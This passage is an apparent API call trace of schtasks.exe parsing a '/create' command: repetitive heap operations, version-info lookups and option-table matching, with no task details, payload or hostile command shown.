(HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb880) returned 0x20 [0106.042] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb880) returned 1 [0106.042] GetProcessHeap () returned 0x1f4ae8c0000 [0106.042] GetProcessHeap () returned 0x1f4ae8c0000 [0106.042] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4770) returned 1 [0106.042] GetProcessHeap () returned 0x1f4ae8c0000 [0106.042] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4770) returned 0x8 [0106.042] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4770) returned 1 [0106.042] GetProcessHeap () returned 0x1f4ae8c0000 [0106.042] GetProcessHeap () returned 0x1f4ae8c0000 [0106.042] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb4f0) returned 1 [0106.042] GetProcessHeap () returned 0x1f4ae8c0000 [0106.043] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb4f0) returned 0x20 [0106.043] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb4f0) returned 1 [0106.043] GetProcessHeap () returned 0x1f4ae8c0000 [0106.043] GetProcessHeap () returned 0x1f4ae8c0000 [0106.043] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c3be0) returned 1 [0106.043] GetProcessHeap () returned 0x1f4ae8c0000 [0106.043] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c3be0) returned 0x76 [0106.048] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c3be0) returned 1 [0106.048] GetProcessHeap () returned 0x1f4ae8c0000 [0106.048] GetProcessHeap () returned 0x1f4ae8c0000 [0106.048] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb5e0) returned 1 [0106.048] GetProcessHeap () returned 0x1f4ae8c0000 [0106.048] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb5e0) returned 0x20 [0106.048] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb5e0) returned 1 [0106.048] GetProcessHeap () returned 0x1f4ae8c0000 [0106.048] GetProcessHeap () returned 0x1f4ae8c0000 [0106.048] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c47d0) returned 1 [0106.048] GetProcessHeap () returned 0x1f4ae8c0000 [0106.048] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c47d0) returned 0x8 [0106.048] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c47d0) returned 1 [0106.048] GetProcessHeap () returned 0x1f4ae8c0000 [0106.048] GetProcessHeap () returned 0x1f4ae8c0000 [0106.048] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cba90) returned 1 [0106.048] GetProcessHeap () returned 0x1f4ae8c0000 [0106.048] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cba90) returned 0x20 [0106.049] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cba90) returned 1 [0106.049] GetProcessHeap () returned 0x1f4ae8c0000 [0106.049] GetProcessHeap () returned 0x1f4ae8c0000 [0106.049] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8caa40) returned 1 [0106.049] GetProcessHeap () returned 0x1f4ae8c0000 [0106.049] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8caa40) returned 0x10 [0106.049] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8caa40) returned 1 [0106.049] GetProcessHeap () returned 0x1f4ae8c0000 [0106.049] GetProcessHeap () returned 0x1f4ae8c0000 [0106.049] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb520) returned 1 [0106.049] GetProcessHeap () returned 0x1f4ae8c0000 [0106.049] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb520) returned 0x20 [0106.049] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb520) returned 1 [0106.050] GetProcessHeap () returned 0x1f4ae8c0000 [0106.050] GetProcessHeap () returned 0x1f4ae8c0000 [0106.050] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c3c60) returned 1 [0106.050] GetProcessHeap () returned 0x1f4ae8c0000 [0106.050] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c3c60) returned 0x6 [0106.050] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c3c60) returned 1 [0106.050] GetProcessHeap () returned 0x1f4ae8c0000 [0106.050] GetProcessHeap () returned 0x1f4ae8c0000 [0106.050] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cba30) returned 1 [0106.050] GetProcessHeap () returned 0x1f4ae8c0000 [0106.050] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cba30) returned 0x20 [0106.051] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cba30) returned 1 [0106.051] GetProcessHeap () returned 0x1f4ae8c0000 [0106.051] GetProcessHeap () returned 0x1f4ae8c0000 [0106.051] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4eb0) returned 1 [0106.051] GetProcessHeap () returned 0x1f4ae8c0000 [0106.051] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4eb0) returned 0x18 [0106.051] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4eb0) returned 1 [0106.051] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.051] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0106.051] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0106.051] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0106.052] RtlVerifyVersionInfo (VersionInfo=0x90ce2cc120, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0106.052] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.052] lstrlenW (lpString="create") returned 6 [0106.052] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0106.052] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.052] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.052] lstrlenW (lpString="create") returned 6 [0106.052] GetProcessHeap () returned 0x1f4ae8c0000 [0106.052] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb3d0 [0106.052] GetProcessHeap () returned 0x1f4ae8c0000 [0106.052] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x18) returned 0x1f4ae8cab00 [0106.052] _memicmp (_Buf1=0x1f4ae8cab00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.052] GetProcessHeap () returned 0x1f4ae8c0000 [0106.052] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x16) returned 0x1f4ae8ca8e0 [0106.052] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.052] _memicmp (_Buf1=0x1f4ae8c4c50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.052] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1f4ae8c9b30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0106.052] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x90ce2cc278 | out: lpdwHandle=0x90ce2cc278) returned 0x76c [0106.053] GetProcessHeap () returned 0x1f4ae8c0000 [0106.053] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x776) returned 0x1f4ae8cbd70 [0106.053] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1f4ae8cbd70 | out: lpData=0x1f4ae8cbd70) returned 1 [0106.053] VerQueryValueW (in: pBlock=0x1f4ae8cbd70, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x90ce2cc210, puLen=0x90ce2cc270 | out: lplpBuffer=0x90ce2cc210*=0x1f4ae8cc120, puLen=0x90ce2cc270) returned 1 [0106.053] _memicmp (_Buf1=0x1f4ae8c4c50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.053] _vsnwprintf (in: _Buffer=0x1f4ae8c9b30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x90ce2cc1e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0106.053] VerQueryValueW (in: pBlock=0x1f4ae8cbd70, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x90ce2cc200, puLen=0x90ce2cc268 | out: lplpBuffer=0x90ce2cc200*=0x1f4ae8cbf50, puLen=0x90ce2cc268) returned 1 [0106.053] lstrlenW (lpString="schtasks.exe") returned 12 [0106.053] lstrlenW (lpString="schtasks.exe") returned 12 [0106.053] lstrlenW (lpString=".EXE") returned 4 [0106.053] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0106.053] lstrlenW (lpString="schtasks.exe") returned 12 [0106.054] lstrlenW (lpString=".EXE") returned 4 [0106.054] lstrlenW (lpString="schtasks") returned 8 [0106.054] lstrlenW (lpString="/create") returned 7 [0106.054] _memicmp (_Buf1=0x1f4ae8c4c50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.054] _vsnwprintf (in: _Buffer=0x1f4ae8c9b30, _BufferCount=0x19, _Format="%s %s", _ArgList=0x90ce2cc1e8 | out: _Buffer="schtasks /create") returned 16 [0106.054] _memicmp (_Buf1=0x1f4ae8c4c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.054] GetProcessHeap () returned 0x1f4ae8c0000 [0106.054] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cba00 [0106.054] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.054] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0106.054] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0106.054] GetProcessHeap () returned 0x1f4ae8c0000 [0106.054] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x30) returned 0x1f4ae8c4710 [0106.054] _vsnwprintf (in: _Buffer=0x1f4ae8c3890, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x90ce2cc1e8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0106.054] GetProcessHeap () returned 0x1f4ae8c0000 [0106.054] GetProcessHeap () returned 0x1f4ae8c0000 [0106.054] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cbd70) returned 1 [0106.054] GetProcessHeap () returned 0x1f4ae8c0000 [0106.054] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cbd70) returned 0x776 [0106.055] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cbd70) returned 1 [0106.055] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.055] GetThreadLocale () returned 0x409 [0106.055] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.055] lstrlenW (lpString="create") returned 6 [0106.055] GetThreadLocale () returned 0x409 [0106.055] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.055] lstrlenW (lpString="?") returned 1 [0106.055] GetThreadLocale () returned 0x409 [0106.055] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.055] lstrlenW (lpString="s") returned 1 [0106.055] GetThreadLocale () returned 0x409 [0106.055] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.055] lstrlenW (lpString="u") returned 1 [0106.055] GetThreadLocale () returned 0x409 [0106.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.056] lstrlenW (lpString="p") returned 1 [0106.056] GetThreadLocale () returned 0x409 [0106.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.056] lstrlenW (lpString="ru") returned 2 [0106.056] GetThreadLocale () returned 0x409 [0106.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.056] lstrlenW (lpString="rp") returned 2 [0106.056] GetThreadLocale () returned 0x409 [0106.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.056] lstrlenW (lpString="sc") returned 2 [0106.056] GetThreadLocale () returned 0x409 [0106.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.056] lstrlenW (lpString="mo") returned 2 [0106.056] GetThreadLocale () returned 0x409 [0106.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.056] lstrlenW (lpString="d") returned 1 [0106.056] GetThreadLocale () returned 0x409 [0106.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.056] lstrlenW (lpString="m") returned 1 [0106.056] GetThreadLocale () returned 0x409 [0106.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.056] lstrlenW (lpString="i") returned 1 [0106.056] GetThreadLocale () returned 0x409 [0106.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.056] lstrlenW (lpString="tn") returned 2 [0106.056] GetThreadLocale () returned 0x409 [0106.056] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.056] lstrlenW (lpString="tr") returned 2 [0106.057] GetThreadLocale () returned 0x409 [0106.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.057] lstrlenW (lpString="st") returned 2 [0106.057] GetThreadLocale () returned 0x409 [0106.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.057] lstrlenW (lpString="sd") returned 2 [0106.057] GetThreadLocale () returned 0x409 [0106.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.057] lstrlenW (lpString="ed") returned 2 [0106.057] GetThreadLocale () returned 0x409 [0106.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.057] lstrlenW (lpString="it") returned 2 [0106.057] GetThreadLocale () returned 0x409 [0106.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.057] lstrlenW (lpString="et") returned 2 [0106.057] GetThreadLocale () returned 0x409 [0106.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.057] lstrlenW (lpString="k") returned 1 [0106.057] GetThreadLocale () returned 0x409 [0106.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.057] lstrlenW (lpString="du") returned 2 [0106.057] GetThreadLocale () returned 0x409 [0106.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.057] lstrlenW (lpString="ri") returned 2 [0106.057] GetThreadLocale () returned 0x409 [0106.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.057] lstrlenW (lpString="z") returned 1 [0106.057] GetThreadLocale () returned 0x409 [0106.057] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.058] lstrlenW (lpString="f") returned 1 [0106.058] GetThreadLocale () returned 0x409 [0106.058] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.058] lstrlenW (lpString="v1") returned 2 [0106.058] GetThreadLocale () returned 0x409 [0106.058] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.058] lstrlenW (lpString="xml") returned 3 [0106.058] GetThreadLocale () returned 0x409 [0106.058] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.058] lstrlenW (lpString="ec") returned 2 [0106.058] GetThreadLocale () returned 0x409 [0106.058] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.058] lstrlenW (lpString="rl") returned 2 [0106.058] GetThreadLocale () returned 0x409 [0106.058] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.058] lstrlenW (lpString="delay") returned 5 [0106.058] GetThreadLocale () returned 0x409 [0106.058] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.058] lstrlenW (lpString="np") returned 2 [0106.058] GetThreadLocale () returned 0x409 [0106.058] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0106.058] lstrlenW (lpString="hresult") returned 7 [0106.058] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.058] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.058] lstrlenW (lpString="/create") returned 7 [0106.058] lstrlenW (lpString="-/") returned 2 [0106.058] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0106.058] lstrlenW (lpString="create") returned 6 [0106.058] lstrlenW (lpString="create") returned 6 [0106.058] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.059] lstrlenW (lpString="create") returned 6 [0106.059] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.059] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|create|") returned 8 [0106.059] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|create|") returned 8 [0106.068] lstrlenW (lpString="|create|") returned 8 [0106.068] lstrlenW (lpString="|create|") returned 8 [0106.068] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0106.068] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.068] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.068] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.068] lstrlenW (lpString="/tn") returned 3 [0106.068] lstrlenW (lpString="-/") returned 2 [0106.069] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0106.069] lstrlenW (lpString="create") returned 6 [0106.069] lstrlenW (lpString="create") returned 6 [0106.069] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.069] lstrlenW (lpString="tn") returned 2 [0106.069] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.069] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|create|") returned 8 [0106.069] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.069] lstrlenW (lpString="|create|") returned 8 [0106.069] lstrlenW (lpString="|tn|") returned 4 [0106.069] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0106.069] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.069] lstrlenW (lpString="?") returned 1 [0106.069] lstrlenW (lpString="?") returned 1 [0106.069] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.069] lstrlenW (lpString="tn") returned 2 [0106.069] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.069] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|?|") returned 3 [0106.069] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.069] lstrlenW (lpString="|?|") returned 3 [0106.069] lstrlenW (lpString="|tn|") returned 4 [0106.069] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.069] lstrlenW (lpString="s") returned 1 [0106.069] lstrlenW (lpString="s") returned 1 [0106.069] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.069] lstrlenW (lpString="tn") returned 2 [0106.070] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.070] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|s|") returned 3 [0106.070] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.070] lstrlenW (lpString="|s|") returned 3 [0106.070] lstrlenW (lpString="|tn|") returned 4 [0106.070] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.070] lstrlenW (lpString="u") returned 1 [0106.070] lstrlenW (lpString="u") returned 1 [0106.070] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.070] lstrlenW (lpString="tn") returned 2 [0106.070] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.070] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|u|") returned 3 [0106.070] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.070] lstrlenW (lpString="|u|") returned 3 [0106.070] lstrlenW (lpString="|tn|") returned 4 [0106.070] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.070] lstrlenW (lpString="p") returned 1 [0106.070] lstrlenW (lpString="p") returned 1 [0106.070] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.070] lstrlenW (lpString="tn") returned 2 [0106.070] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.070] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|p|") returned 3 [0106.070] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.070] lstrlenW (lpString="|p|") returned 3 [0106.070] lstrlenW (lpString="|tn|") returned 4 [0106.071] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.071] lstrlenW (lpString="ru") returned 2 [0106.071] lstrlenW (lpString="ru") returned 2 [0106.071] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.071] lstrlenW (lpString="tn") returned 2 [0106.071] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.071] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|ru|") returned 4 [0106.071] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.071] lstrlenW (lpString="|ru|") returned 4 [0106.071] lstrlenW (lpString="|tn|") returned 4 [0106.071] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0106.071] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.071] lstrlenW (lpString="rp") returned 2 [0106.071] lstrlenW (lpString="rp") returned 2 [0106.071] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.071] lstrlenW (lpString="tn") returned 2 [0106.071] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.071] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|rp|") returned 4 [0106.071] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.071] lstrlenW (lpString="|rp|") returned 4 [0106.071] lstrlenW (lpString="|tn|") returned 4 [0106.071] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0106.071] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.071] lstrlenW (lpString="sc") returned 2 [0106.071] lstrlenW (lpString="sc") returned 2 [0106.072] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.072] lstrlenW (lpString="tn") returned 2 [0106.072] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.072] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|sc|") returned 4 [0106.072] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|tn|") returned 4 [0106.072] lstrlenW (lpString="|sc|") returned 4 [0106.072] lstrlenW (lpString="|tn|") returned 4 [0106.072] StrStrIW (lpFirst="|sc|", 